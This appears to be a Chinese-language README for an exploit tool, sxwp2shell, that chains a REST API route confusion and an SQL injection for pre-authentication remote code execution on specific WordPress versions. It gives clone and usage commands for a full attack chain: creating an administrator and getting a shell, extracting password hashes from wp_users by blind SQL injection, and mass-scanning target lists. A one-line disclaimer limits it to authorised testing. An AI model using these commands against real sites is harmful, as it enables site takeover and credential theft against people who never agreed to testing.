/ / ____ / /()___ ___ / / | |/ / __ / _ / __ / / / __ / _ / / | / / / __/ / / / // / / / / / // | /_/_// //_/// //_/__//|_|
sxwp2shell — 通过 REST API 批处理路由混淆(CVE-2026-63030)+ SQL 注入(CVE-2026-60137)对 WordPress 进行预认证 RCE 漏洞利用。
受影响版本:WP 6.9.0–6.9.4 / 7.0.0–7.0.1
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
Python 3.7+,仅需标准库 — 无需 pip 安装。
| 命令 | 功能 |
|---|---|
check <url> | 检测版本、批处理端点、路由混淆与 SQLi |
exploit <url> | 完整 RCE 链路(SQLi → 创建管理员 → shell) |
read <url> | 盲 SQLi 数据提取 |
scan <file> | 从文件批量扫描目标,导出 CSV |
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
--cmd CMD Command to execute (default: id)
--query QUERY Custom SQL query
-k, --insecure Skip SSL verification
--proxy PROXY HTTP proxy
--timeout SEC Request timeout (default: 15)
--delay SEC Delay between requests
--agent AGENT Custom User-Agent
--no-color Disable colored output
-o, --output Save scan results to CSV
仅供授权安全测试使用。请阅读 DISCLAIMER.md。